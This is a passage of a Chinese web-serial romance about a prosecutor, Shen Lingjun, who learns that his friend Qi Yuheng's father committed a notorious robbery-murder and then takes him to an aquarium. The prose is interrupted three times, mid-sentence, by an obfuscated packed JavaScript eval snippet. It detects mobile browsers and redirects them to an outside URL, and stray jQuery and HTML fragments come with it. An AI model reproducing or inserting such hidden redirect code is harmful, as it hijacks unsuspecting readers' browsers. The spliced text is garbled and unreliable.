看他一副着急的模样,沈灵均心头一暖:“没事的,你不用担心我。她最近一年精神状态好像出了些问题,她妹妹一直在看护她。所以这一年来她很少来找我麻烦,这也是她第一次表现出这么强的攻击意向——不止针对我,当时我身边还有我同事,她根本不考虑她行为的后果了,不在乎会不会伤害到无关人士了。之后,我会和她家属沟通。让他们有病治病,好好看护她。这一次也是我太不警惕,才会被她偷袭,不然她一个四十多岁的女人,想伤害我还是挺有难度的。” 戚玉衡点点头,轻舒了一口气:“……那就好。” 沈灵均把话题转到戚玉衡身上:“你在这兼职很久了吗?” “也不算久,也就三个月,因为Resonate才刚开业三个月。” “一开业你就来这了?” “对,老板……就是吧台的调酒师,肖哥,我和肖哥认识很多年了,是他教我弹的吉他和唱歌。他说店里缺个驻唱,就叫我来了。” “老板教你弹吉他和唱歌?那老板弹吉他和唱歌的水平应该也非常高啊。” 戚玉衡笑了一下:“是的,他水平比我高很多。老板不光会弹吉他,还会弹贝斯和电子琴,一个人几乎能顶一支乐队了。啊,他年轻时也确实是玩乐队的。” 沈灵均有些意外:“这我真的没想到,感觉老板的气质和我印象中玩乐队的音乐人不太像。” 戚玉衡脸上的笑意深了一些:“肖哥看上去斯斯文文的,是不是?人不可貌相,他内心住了个狂野的灵魂。” 酒吧的灯光偏暗,晕在戚玉衡苍白的脸上,让他看上去有些憔悴。沈灵均忍不住道:“你这一天天的,也太辛苦了。你们面包店应该很早就开工了,你结束白天的工作后夜晚还要来兼职,二四六来这里唱歌,其他四天本来也都有各种兼职吧,像是代驾外卖骑手……现在变成给长乐补课。你回到家就是凌晨了。那你每天才能睡几个小时?身体吃得消吗?” 戚玉衡微微低下头,手指有些局促地摸着怀里的吉他:“还好,已经习惯了。” 沈灵均在心中犹豫了一会,最终开口问道:“我感觉你们店里生意挺不错的。怎么你还要出来再打一份工?” 戚玉衡依旧低着头:“我父亲赌博欠下了一大笔债务,我现在在帮他还债。” 沈灵均感觉出戚玉衡不愿意就这个问题多谈,于是没有再往下问:“那你除了外卖骑手、代驾、驻唱,还做过其他工作吗?” 戚玉衡这回抬起头了,他点点头:“嗯,我发过传单、扮过玩偶、在便利店做过收银、在很多饭店和大排挡打过杂、在奶茶店咖啡店打过工、做过搬运工……做过挺多类型的工作的……但都是些没什么技术含量的工作。” 沈灵均微微瞪大眼睛:“哪有。你好厉害,做过这么多种工作,你阅历一定很丰富。” 戚玉衡忙摆手:“没有没有,都是些没什么技术含量的工作。谁都能做的。” “怎么可能。就拿酒吧驻唱来说吧,这可不是随随便便什么人都能做的。我最好的朋友,五音不全,他唱歌完全就是魔音穿耳,伤害性极强,他要是来这唱歌,能把所有客人都唱走。” “在饭店和大排档帮工的话,饭口的时候一定很忙,肯定得手脚麻利有眼力见才行。我就笨手笨脚的,这种工作我肯定做不来。” 戚玉衡嘴角含了一点笑意,轻声道:“你笨手笨脚?怎么会呢。我不信,你这就是硬夸我了。” 两个人不知不觉就聊了两个多小时。当沈灵均再次看表的时候,已经快凌晨三点了。沈灵均连忙道:“都这么晚了,对不住,我都没注意时间,你明天还要上班,我却缠着你聊了这么久。” 戚玉衡摇摇头:“话不是这么说,我一点也不累,和你聊天……很开心。反正我自己是老板,明天上午就算旷工也无所谓。” 和戚玉衡分手后,沈灵均感觉心头的郁气散去不少,他又一路跑回家,洗了澡之后倒头就睡,睡了长长的一觉。第二天,沈灵均按照预约去医院看了睡眠门诊,医生最后给他开了点艾司唑仑,并叮嘱他放松心情,规律作息,减少睡眠中的光、声刺激。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686651|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃上药之后,沈灵均的失眠状况终于得到了缓解。 十月初一这天,沈灵均的眼睛已经彻底退了红,看不出来受伤的痕迹。于是,沈灵均回了家,接上他爸沈霞举,两个人一起去东山墓园给他爷爷奶奶“送寒衣”。 沈灵均的爷爷奶奶葬在东山墓园靠里的一个墓区,从墓园门口走到那片墓区差不多要走一公里,途中还有很多台阶。但沈霞举自出事之后,除去实在无力站立的最初两年,他每年来扫墓都不坐轮椅,而是选择自己走,还不带拐杖。 徐锦英和他说,这是因为他爸心里还有包袱——甚至可以他说是迷信,他不想让父母看到他残疾的样子。 去的路上沈霞举走的速度还能勉强达到正常人的行走步速,但回程的时候,他行走的速度就明显慢了下来。沈灵均没去搀他,父子两个人就在墓园里慢慢地走着。 路过一个墓区的时候,沈灵均忽然听到了一个有些熟悉的声音:“你怎么有脸来的?这是你配来的地方吗?” 沈灵均循声往上望去,意外地看到了三个熟人——余绵绵、乔瑜和戚玉衡。 余绵绵背对着他,乔瑜和戚玉衡两人面对面地站着,三人都没注意到墓区下的他。 戚玉衡怀里抱着一束花,左手还提着一袋子金元宝,明显是来扫墓的。但乔瑜粗暴地把他手里的花抢了出来丢到一旁:“你怎么好意思来这?你想来恶心我爸妈和我妹妹的吗?” 戚玉衡的头低低地垂着:“对不起,我不知道你会来。对不起。今天是十月初一,我只是想着给叔叔阿姨和小瑾送点钱……” 乔瑜语气中满是厌恶:“怎么,你想说你是好意吗?别了,你的好意,我们家人受不起,你还是把这些钱烧给你爸吧。我爸妈和我妹要是用上你烧的钱,在底下恐怕会恶心的吐出来。” 听到这,沈灵均的眉头已经紧紧地皱了起来,乔瑜身旁的余绵绵似乎也觉得他说得有些过分了,轻轻地拉了一下他的胳膊。 乔瑜指着地上的花:“拿着你的花赶紧滚!” 戚玉衡没说话,默默地蹲下身去捡花。但就在他马上就要碰到那束花的时候,乔瑜忽然飞起一脚,把那束花踢飞了。他这一脚力气用的非常大,那束包装精美的花被踢的花瓣四散,落在地上滚出老远,沾了满身的灰。他还踢到了戚玉衡的手腕,发出了清脆的一声响。 沈灵均忍不住上前两步,出声道:“乔警官,你别太过分了!” 三人的目光一下子都落在他身上。余绵绵最先出声道:“沈哥?” 她表情十分复杂:“好巧……居然在这遇到了。” 戚玉衡看着他,脸上露出了一个堪称惊慌的神情,随后立刻低下头,站了起来。 乔瑜看着他,脸上呈现出一个沈灵均之前从未在他脸上见过的、十分讥嘲的神情道:“我过分?” 乔瑜挑起眉,看向戚玉衡,轻轻地推了他一下:“戚玉衡,我过分吗?” 戚玉衡被他推得退了一步,头低低地垂着,不去看乔瑜,也不说话。 上次在医院见到乔瑜对戚玉衡发火的时候,沈灵均就猜到乔瑜和戚玉衡之间有些仇怨。但即便如此,他也觉得乔瑜刚才的做派有些侮辱人,于是道:“乔警官,咱们没必要这么……” 乔瑜打断了他的话:“沈检,你认识他?” 看沈灵均点头,乔瑜哂笑一声,他道:“但戚玉衡应该没跟你介绍过他的家庭背景吧。尤其是没向你介绍过他的好爸爸。” “他忘了,我来帮他。” 乔瑜的脸在一瞬之间冷了下来:“十二年前,他的爸爸带着他的四个好兄弟,五个畜生,冲进了我们家的服装厂,在强肩了我妹妹和母亲之后,将我父母和我妹妹杀害,随后一把火烧了我们家的厂子,一共造成14死23伤。” “戚玉衡,我说的对不对?” 28.第 28 章 沈灵均万万没想到,乔瑜和戚玉衡之间会有这样的故事。他半张着嘴,一时间没能说出来话。 这时,戚玉衡快步走到那束被踢开的花旁边,将花捡了起来。他将身子转向乔瑜的方向,依旧垂着头,轻声说:“我不会再来了。” 随后,他便拿着花、拎着那兜金元宝,脚步匆忙地走了。沈灵均有心想跟上去和他说两句话,但沈霞举还在他身边,他不能把他爸一个人撂在这。况且,他觉得,戚玉衡现在大概率不想和任何人交谈。于是最终,沈灵均什么也没说,目送着戚玉衡走远了。 等到戚玉衡消失在他视线里,沈灵均看向乔瑜,道:“对不起。我之前不知道你和他之间……有这么复杂的关系,”沈灵均说到这,顿了顿,说:“但是,犯罪的毕竟是他父亲,不是他。” 乔瑜冷着脸没答话。余绵绵神情有些紧张,目光在两人之间来回游走着,也没说话。气氛一下子变得冷凝又压抑。 沈灵均一时间也不知道该再说什么,于是道:“……那我就先走了。” 走出那片墓区好远,沈霞举开口问道:“刚才那三个人,都是什么人啊?” “那个女孩是我助理,余绵绵。发火的那个是她男朋友,叫乔瑜,是市公安局的警察,之前因为工作,我们也经常接触……那个走了的,是我最近认识的一个朋友,戚玉衡。” 沈霞举拍了拍沈灵均的手臂,安慰道:“你刚才说得没错,犯错的是你朋友的父亲,又不是你朋友。那个小伙子姿态已经放得很低了,有理也不能不饶人呀。你没说错。” 沈灵均点点头,有些勉强地笑了笑:“……嗯。” 将沈霞举送回家,沈灵均顺便留在家里吃了个中饭。吃过饭,沈灵均收到了余绵绵的微信: 【软绵绵棉花糖:沈哥,今天乔瑜他心情不好,说话也冲,你大人有大量,别跟他计较,他这样也是事出有因。你眼睛现在好点了吗?】 沈灵均回复道: 【Shen:我眼睛已经没什么问题了。他家里人出了这样的事,寒衣节这样的日子,他心情肯定不好,我没放在心上。你们把事情说开了?和好了?】 【软绵绵棉花糖:嗯。他今天就是带我去“见”他父母的。】 沈灵均犹豫了一会,又给余绵绵发了条消息: 【Shen:他们家遭的这桩难,详细情况是怎么一回事?你方便跟我说吗?】 过了一会,余绵绵给了发来了几条语音。 “这件事,他也是前两天才跟我说的。之前我不是因为他不带我见他父母的事跟他生气了吗,他前两天找我坦白,跟我说了他家里的事……就是他在墓园说的那样。他跟我说,他之前因为家里的事被前女友一家嫌弃过,所以这次跟我谈的时候就动了歪心思,骗了我……我……嗐,我虽然生气他骗我,但我……也能理解。所以今天我就和他一起来给他父母和他妹妹扫墓了。” “他跟我说,当时犯罪的几个人是团伙作案,今天那个姓戚的男生他父亲,是主犯之一。四个同案犯中,有一个人姓杜,原来是乔瑜他父母服装厂的一个员工,但他手脚不干净,老夹带厂子里的东西去外面卖,被乔瑜他父母发现之后,就被开除了。” “那个员工和那个戚先生的父亲,都好赌,两个人身上都背着赌债。戚先生那个爹欠的最多。有一天,他们两个喝酒的时候,姓戚的这个老登就说他想去抢劫,这样来钱快,之后他们俩又拉了其他三个人入伙。他们本来是计划着去容州郊区的农村抢劫,因为这些地方离市区远,报警警察也来得慢,也没什么安保措施,翻个墙就能抢。” “但后来,这个戚老登又改主意了。因为那个姓杜的之前跟他抱怨过自己被开除的事,又提到过乔瑜父母把很多钱都放到了办公室的保险箱里,他就说不如去抢那个厂子。于是一一年的五月十号,晚上十一点多吧,他们五个摸进了乔瑜父母的厂子里。” “本来,乔瑜他妹妹乔瑾是不会在厂子里的。但是因为五月末是乔瑾的生日,乔瑜他妈妈打算给她做条裙子做礼物,买了好几块特别好的料子,让她到厂里来挑料子、讨论样式,所以乔瑾晚上也住在了厂里……” “然后就……出事了。他们那个服装厂是个小厂,一共就六十来人,在一个三层小楼里工作,安保也不严密,只有一楼有一个门卫。” “他们先把门卫杀了。之后,他们冲到乔瑜父母的办公室,从乔瑜父母口中问出了保险箱的密码,又把他妈妈和他妹妹……据他们被捕之后交代,在去抢劫之前,他们几个就定好了,抢完钱之后要灭口。而为了毁尸灭迹,最好的办法就是把尸体都烧了,所以他们提前备好了两桶汽油。” “但他们也没想到火势会那么大……服装厂可全是易燃物啊!当时工作间的工人又全在作业,声音很吵,起火点又在一楼,当工人们发现起火了的时候,火已经烧得很大了,所以很多人没逃出去……” 听完余绵绵的语音,沈灵均沉默了半晌,良久,才又回复她道: 【Shen:犯人都抓到了吗?】 余绵绵说:“他们五个作案之后,就连夜坐大巴逃出了容州,跑到了山南的建荣县落脚。在建荣县的三个村,他们前后又犯了三桩案子,抢了三个农村家庭,男的、小孩直接杀,女的、少女先奸后杀。准备抢第四户的时候,他们听说了警察在附近找他们,就跑到山南栾乡的山里头去了。” “进山之后他们几个就分散开了,警察搜过山之后,只抓到了四个……还有一个给跑了。到现在还没抓到。” 【Shen:这样啊。谢谢绵绵告诉我这些。】 放下手机后,沈灵均在沙发上坐了一会,随后站起身去按电梯:“爸,我用下你电脑,密码还是你和我妈结婚纪念日是吧?” “对。” 打开电脑,沈灵均登上裁判文书网,在限定了刑事案件、地域、审判年限的筛选条件后,他很快就找到了这桩案子的判决书,沈灵均将判决书从头到尾仔仔细细地读了一遍。良久,他合上电脑,看向手边的手机,心情复杂。 他不知道这个时候联系戚玉衡是不是件正确的事。也不知道他到底说些什么合适。即便不能感同身受,但沈灵均猜测,当戚玉衡竭力掩饰的秘密被乔瑜当着一个外人揭露时,戚玉衡的内心一定很难堪、很煎熬。 沈灵均悔不当初:早知如此,他就不应该开那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699687|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个口。 沈灵均犹豫再三,最终下了决心:此时此刻,无论说什么,都可能会有不合适的地方,但不声不响最不合适。沈灵均拿起手机,给戚玉衡打了个电话。 电话响了很久,直到快要自动断线之前才被人接了起来。 “……沈检?” “小戚,你还好吗?你现在在哪?” “我在家。我挺好的……你不用担心我。” 沈灵均仔细斟酌着言语:“今天乔警官他行动上对你有些冒犯,我觉得他做得不对。大清都亡了一百多年了,现代社会不时兴连坐那一套了。你又没犯错,他那样说话、那样做,不礼貌。” 说到这,向来觉得自己口条很顺的沈灵均也卡壳了。说“你别放在心上”,有些站着说话不腰疼;说“乔瑜这么做也是事出有因”,又觉得戚玉衡实在委屈;说乔瑜点难听的话,沈灵均又说不出口——将心比心,作为苦主,乔瑜一定承受过无尽的痛苦与悲伤,他所有的刻薄与尖锐都不难理解,也确实情有可原。 反倒是电话那头的戚玉衡先开口了。他似乎是笑了,言语中带了点笑意:“没事沈检,我没放在心上。乔警官他心里苦,我知道。换作是我遇到这种事,也没法对犯罪者的家属和颜悦色,他就是说我几句,没什么的。我都理解。你别因为我的事和乔警官闹矛盾。” “……没有。” 沈灵均心头忍不住泛上一阵苦意——乔瑜是受害者,但是戚玉衡又何尝不是受害者呢?他甚至到现在为止还背着他父亲留下来的债务,为了还债每天忙得像个陀螺。而且算算时间,十二年前的五月,案发时大概率是戚玉衡高考前夕。很可能就是因为这么一桩事,成绩优异、到现在还能给高三生当家教的戚玉衡才没能读上大学。 如今天那般令人刺痛的言语,戚玉衡想必早已经听过无数次。 无论是肤浅的“以貌取人”,还是在日常相处之后做出判断,沈灵均都觉得戚玉衡是个“柔软”的人。他性情温和,心地善良,几乎可以说完全没脾气,有些时候,他身上的这份温良会让他在为人处事上过度地小心翼翼,甚至显得有些卑怯。 然而,他柔软,却绝不软弱。命运对他这么坏,他也没有败下阵来。 沈灵均也笑了,他轻声说:“你没放在心上……你真的没有放在心上,那就好。” 沈灵均说到这,心里突然冒出股冲动:要不我问问他,他现在还欠多少债务,我帮他先还了算了,这样他身上的压力也能小些。在询问的话将将出口之前,沈灵均及时把话截住了。 以他们目前的关系,他这么做还是太没有边界感了。而且,以他这些时日对戚玉衡的了解,戚玉衡是个自尊心很强的人,大概率不会答应这个提议。 沈灵均想了想,道:“你说你现在在家,是吗?你下午还上班吗?” “我正打算去,怎么了?” “别去上班了,我们出去玩吧。” 戚玉衡似乎是愣了一下:“……去、去玩?” “对啊,因为我之前眼睛受伤的原因,领导给我批了两周假。我一个人在家待得有点无聊,你能不能陪我一起出去玩啊?正好你也散散心。” 29.第 29 章 离开墓园之后,戚玉衡大脑一片空白,自己都不知道自己在干什么。直到司机提醒他到了目的地,他才发现他居然打车回了家,把他的小电驴落在了地铁站。看着计价器上红色的162元,戚玉衡的心都在滴血。 回到家,戚玉衡发现他还将那束脏兮兮的花和那兜金元宝拿在手里。 等晚上去给李长乐上课之前再丢吧。戚玉衡想。他现在一点也不想动。 他其实偷偷给乔怀兴三人上坟很多年了。他一直都会避开清明、七月十五这种日子,所以之前从来没有撞见过乔瑜和乔家二老。今天虽然是寒衣节,但是是周二,所以戚玉衡完全没想到他会和乔瑜碰到一起。 ……更没想过会碰到沈灵均。 想到这,戚玉衡双手捂住脸。 明明非常想在他面前尽可能的体面,但事与愿违,老天爷仿佛跟他开玩笑一样,总是让他在沈灵均面前出丑。现在更是让乔瑜扯下了他努力攥在手里的最后一块遮羞布。 戚玉衡昏昏沉沉的,头痛欲裂,一时间,无数往事涌上心头。 他想起乔瑾。那个既爱笑又爱哭的女孩,天真单纯,虽然因为备受家人宠爱而有些娇气,但是却不骄纵。他十八岁生日的时候,她亲手折了一大罐纸星星给她,并叮嘱他回家一定要打开罐子看。他回家一看,发现罐子深处埋了一卷百元大钞。她把自己攒了好久的零花钱给了他。他试图还回去,但没成功。 他想起乔瑜。想起他总是把崭新的衣服拿给他,却说是自己淘汰的。但是他做事总是大大咧咧的,这些新衣服的标签他有时候都会忘记剪。这个粗心的毛病现在应该改了吧?毕竟他现在是警察。 他想起乔怀兴和林巧薇夫妇。乔叔叔的脸圆圆的,还有两个深深的酒窝,笑起来慈爱又喜庆,天生的佛相。林阿姨身上总是有一股雪花膏的香味,不像香水的香味那样有很强的存在感,淡淡的,是一种很温暖的香味。 说起香味,沈灵均身上也经常会出现香味。他应该经常喷香水,他身上出现过木质的香味,也出现过略微苦涩的茶香。 手机铃响的时候,戚玉衡还处在这种浑浑噩噩的状态中。手机响了好一会,戚玉衡才动作迟缓地伸手去拿手机。看到手机屏上的来电显,戚玉衡下意识地用力眨了眨眼睛,确认自己没看错。 沈灵均这个时候给他打电话,是想说什么呢?他是不是打电话来解雇他的?他是罪大恶极的杀人犯的儿子,他是不是怕他把长乐带坏,不想再让他教长乐了?他会不会生气?他好心好意为他说话,却没想到他是活该,是他隐瞒了真相、他骗了他,才会让他不明所以地开口。 戚玉衡的心已经提到了嗓子眼里,他左手不断地来回握着拳,随后才点下通话键。 ——他心中那些消极的想法都没有发生。 沈灵均的语气依旧和平常一样和风细雨,他还邀请他一起出去玩。 “可、可以啊,你想去哪?” “你想去哪?” 戚玉衡已经很久很久没有进行过娱乐活动了,他上次“玩”还是去年圣诞节,牛明星组织全店的人一起出去唱K。他在“玩”一道上知识很匮乏,于是他道:“你想去哪我们就去哪。” 沈灵均想了想:“这样吧,你给我发个定位,我先去接你。” 戚玉衡忙说:“不用不用,我住的地方很偏。你定好地点之后我直接过去那边就好了。” “我现在也想不出来,我们碰面之后再决定吧。你给我发个定位,我有车,很方便的。” “……好的。” 给沈灵均发完定位之后,戚玉衡在床上呆坐了两分钟,随后猛地翻身下了床,大步走到他的简易衣柜前——既然要出去玩,他是不是应该好好收拾一下自己?戚玉衡将他为数不多的衣服翻捡了一遍,发现他实在是没什么好“收拾”的。他所有的衣服都是廉价的地摊货,颜色都是耐脏的深色,款式都是基础款,穿上身都差不多。 戚玉衡挑来挑去,最终找了一件深灰色的卫衣穿上了。他在床上坐立难安地待了一会,实在坐不住,戚玉衡便下楼了,在他们小区门口等沈灵均。又过了差不多二十分钟,他看到了沈灵均的车。 沈灵均把车停到他面前:“怎么提前下来等着了?现在外面已经挺冷的了,别冻着了。” 戚玉衡拉开车门坐到副驾驶位,轻声道:“觉得屋里空气有点闷,想透透气。我们去哪?” 沈灵均从大衣兜里掏出一把叠好的小纸条:“我选择恐惧症犯了,也不知道该选哪儿了,不如我们抽签吧,抽到哪去哪。你来抽。” “……我抽?” “嗯,”沈灵均双手拢着纸条摇了摇,道:“抽吧!” 戚玉衡抽出一个拆开:“海洋馆。” 沈灵均把剩下的小纸条又揣回兜里:“那剩下的这些留到下次用。咱们容州有四个海洋馆,容州水族馆、容州海洋公园、容州海底世界还有亚特兰蒂斯海洋世界,你有去过的吗?” 戚玉衡微微抿唇,摇摇头。 “嗯……那我们就去容州海洋公园吧,容州水族馆小了点,亚特兰蒂斯又太大了,一个下午根本逛不完,容州海洋公园离咱们现在的位置更近。” 戚玉衡自然是点头。 “啊对,你给你的手上药了没?” 戚玉衡愣了一下:“上药?” 沈灵均朝戚玉衡勾了勾手:“你左手伸出来我看看。” 戚玉衡闻言,抬起了左手。随后,沈灵均左手握住了他的手腕,右手把他卫衣的袖子撸了起来。 在沈灵均的手握上来的一瞬间,戚玉衡本能地直起了腰,左手也控制不住地握成了拳,手臂的肌肉全绷了起来。 沈灵均道:“我就说,肯定青了。” 戚玉衡这才发现,自己左手手腕青了一大片,还微微肿了起来。 “我就感觉乔瑜那一脚用了不少力气,挨到身上肯定得青。” 沈灵均从衣兜里拿出一只药膏:“这是我表妹送我的,一个儿童品牌的化瘀膏,化瘀消肿的效果特别好。我给你抹一点?” 戚玉衡当然不可能拒绝。 药膏很凉,但沈灵均的手指很热。沈灵均又道:“这个抹完得轻轻揉一下,这样化瘀效果才好,”沈灵均朝他笑笑,“你要是下不去手,我来帮你揉。” 这有什么下不去手的? 但戚玉衡也说不清自己是出于什么心理,他道:“那就麻烦你……帮我一下吧。” 沈灵均的手于是覆了上来,用掌心轻轻揉着那块淤青。 他掌心的温度好像通过皮肤的接触进行了传导,戚玉衡霎时间觉得手腕上的皮肤像是被火燎了一下,又烫又疼。在沈灵均停手之后,疼痛逐渐消散,但皮肤上仍有一股强烈的灼烫感。 像是有一团火再烧。 车子发动之后,戚玉衡打开手机,想团购容州海洋公园的门票。注意到他的动作,沈灵均道:“诶,你不用买票了,我都买好了。” “那我把钱转给你。” “不用啦……你晚上请我吃饭吧。你晚上不是要去给长乐上课吗?长乐家旁边有一家特别好吃的大排档,我们就吃那个好不好?” 戚玉衡完全找不到拒绝的空间:“……好。” 不一会,容州海洋公园就到了。戚玉衡高中的时候,三中其实会经常组织一些参加博物馆、海洋馆一类的课外活动。但因为囊中羞涩,他从来没有参与过。这是他第一次来海洋馆。 容州海洋公园在容州的几个海洋馆中规模不大不小,只有一条游览路线,游客不能走回头路。进入容州海洋公园后,走过一段长廊,就是一条长长的海底隧道。无数鱼类从戚玉衡的头顶游过,隧道内应该是有什么装置,人造出层层叠叠的涟漪,激起的细微水泡在灯光的映射下呈现出极美的视觉效果,熠熠生辉,像是揉碎在水中的银。 因为今天是工作日,现在又是秋天,并不是容州的旅游旺季,海洋公园内的人并不多。背后没有人流推挤,所以戚玉衡根本没有发现,他已经一动不动地保持着仰头的姿势站了好一会。沈灵均也没有催他,默默地站在他身边和他一起看。 过了一会,沈灵均问:“要拍照吗?” 戚玉衡这时才如梦方醒,连连摆手:“不了不了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711881|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “拍两张吧,”沈灵均指了指前方几个正在拍照的人:“你看,他们都在拍照。而且这里景色这么美,一看就很出片。拍两张吧,我给你拍。” “……好。” 等沈灵均摆好拍照的姿势,戚玉衡看着镜头,露出了一个有些僵硬的笑容。 沈灵均笑道:“你摆个姿势呀,你现在的样子好像站军姿。” 戚玉衡的手抬起来又放下,手足无措了好一阵,最后举起右手,在脸颊旁比了个剪刀手。 “你笑得自然一点,就是像平常那样笑就可以。” 像平常那样笑?他现在不是像平常那样笑吗? “更僵硬了呀……”沈灵均瞄了瞄旁边拍照的几个女生,随后凑到戚玉衡身边道:“我们学那几个女生的拍照姿势好了,跟着她们拍,准没错的。” 模仿着前方几个女生的拍照动作,沈灵均又给戚玉衡拍了几张照片。他将手机递给戚玉衡:“这几张拍得不错的。我发现只要不正视着镜头,你摆姿势就没有那么僵硬了……你不习惯面对镜头吗?” 戚玉衡点点头:“有一点。” “太可惜了呀,你长得这么好看,正脸拍照一定很出片的。” 虽然心知这可能是句客套话,但戚玉衡心中还是不免升出一丝欢喜:“……不会的。” 沈灵均瞥了他一眼,啧了一声:“过度的谦虚可是一种骄傲啊,你长成这样,肯定怎么拍都好看啊。” “没有……你这种帅哥,才会特别上镜,”戚玉衡下意识地用手指揪着袖边,声音一点一点变小了:“你、你不觉得我长得特别……娘吗?长得没有一点阳刚气。” 沈灵均十分坦然地点点头:“确实有点。你是那种偏柔和的长相,乍一看确实像个女孩子。但是这也碍不着你好看啊?” 沈灵均看了他一眼:“怎么?以前有人用‘娘’这个词骂你啊?” 不等戚玉衡答话,沈灵均就继续道:“我也遇到过那种动不动就说别人长得娘的男的,你别管他们,他们肯定就是嫉妒你。你长得好看,性格又好,是不是从小到大都挺受女生欢迎的?他们嫉妒你抢走了女孩子的关注,这种人表面上对女孩不屑一顾,其实背地里在意的要死,觉得你掠夺了他们的‘性资源’。” “他们还嫉妒你中了基因彩票,嫉妒你可能会因为外貌得到优待,于是只好拿所谓的阳刚气当武器。就因为这些人,阳刚现在都快成了个贬义词了。你别在意他们,谁再不怀好意地说你娘,你就全当他们放屁。他们是吃不到葡萄说葡萄酸,嘴上嘲笑你,实际上要是可以换脸,他们得为了一个和你换脸的机会打起来。” 戚玉衡笑了笑,点点头:“嗯。” 这是戚玉衡有生以来最开心的一天。他看到了许多以前只在书上、电视上看过的动物,还抽到了幸运观众的名额,摸到了海豚和海星。 整个游览路线的最后一站是水母馆。水母馆内部灯光幽暗,几乎所有的光都源于各色水母,红黄蓝绿紫,各有各的美,有的妖异、有的华丽、有的梦幻,光怪陆离。 戚玉衡看了一会水母,便下意识地转过身去找沈灵均的位置,发现沈灵均正站在一个圆柱形的水族箱旁边,他没有去看水母,而是在低头看手机。戚玉衡朝他的方向走了几步,随后鬼使神差的,他换了个方向,没有走到沈灵均身边,而是隔着那个圆柱水族箱站到了他的对面。沈灵均正在专心看手机,没发现他。 这个圆柱水族箱里放的是淡蓝色的水母。从戚玉衡的视角,有一只水母正飘在沈灵均的脸侧。戚玉衡慢慢抬起手,隔着玻璃“按”住了那只蓝色水母。 他将手放到了沈灵均耳旁。 这时,沈灵均放下了手机,抬起头来,正好与他视线相对。 戚玉衡心头一跳。随后,沈灵均朝他挑了挑眉,笑了。那只蓝色的水母从他掌中“逃逸”,须状的触手轻柔地掠过沈灵均含笑的眉眼,点点的蓝光映在他漆黑的眼眸里,像星星。 一瞬之间,戚玉衡心跳如雷。那团燃在他手腕上的火在顷刻间燎原。 爱上沈灵均,实在是一件太简单、太容易的事。 30.第 30 章 逛完海洋公园,两个人一块去沈灵均说的那家大排档吃了晚饭。和沈灵均说的一样,这家大排档很好吃,小炒的风味很地道,虽然开在偏僻的巷子里却依旧座无虚席。价格也很公道,戚玉衡沈灵均两个成年男人一共才吃了八十多块。 吃完晚饭,戚玉衡便要去李长乐的家准备给李长乐上课。在二人分别前,沈灵均叫住了他,一左一右从大衣兜里掏出两个企鹅公仔钥匙扣:“小戚,你选一个吧。” 戚玉衡愣住了,没有立刻伸手去接:“……我选一个?” 沈灵均点点头:“嗯,在海洋公园的纪念品商店买的,你不是说极地馆的小企鹅很可爱吗?纪念品商店的那些公仔里,我也觉得这个企鹅的最可爱,就买了两个,你一个我一个。你看看你喜欢哪个?” 两个企鹅公仔不同的地方只在于衣服,一个穿红色背带裤,一个穿蓝色背带裤。 “我……谢谢,你喜欢哪个?我要剩下的那个就好了。” 沈灵均轻轻地啧了一声:“当时有三个颜色的裤子可以选呢,我选的两个当然都是我喜欢的颜色呀。你选。” 戚玉衡犹豫了一下,拿了那只穿红色背带裤的企鹅。 “我……我把钱转给你?” 沈灵均笑着摇摇头:“不用。我就是看着可爱,想着送你个小礼物,嗐……给我侄子老师溜溜须嘛,好让你能对我大侄子上心一点。” 戚玉衡听了他的话,忍不住笑了。 “……谢谢。我会用心……很用心地教他的。” 两人随后便分开了。走出数步后,戚玉衡回过头,看向沈灵均的背影——他正站在等红灯的大部队中。沈灵均长得高,外貌又出众,因此就算是站在人堆里也显眼得要命。戚玉衡看着他过了马路,看着他在路口拐了弯,最终彻底消失在了他的视线里。 戚玉衡这时才回过头,朝李长乐家的方向走去。 走了一会,戚玉衡忽然觉得眼眶发酸,他吸了吸鼻子,试图把眼泪憋回去,但还是失败了。 他知道,沈灵均会约自己出去玩,根本不是因为他放假太无聊,他是觉得自己心情不好,约自己出去散心的。他知道,沈灵均付海洋公园门票钱、他请他吃饭根本不是一次平等的“AA制”。海洋公园的门票一张要160,他们吃的晚饭一共87块,沈灵均只是看出了他的窘迫,于是想方设法地在不刺伤他自尊的情况下负担更多的费用。他知道,沈灵均买公仔不是为了什么“给老师溜须”,他只是单纯地想送个小礼物让他开心一些。 他更知道,沈灵均做这一切并不是因为他对他来说多么特别,只是因为沈灵均是个好人。是一个非常非常好的人。 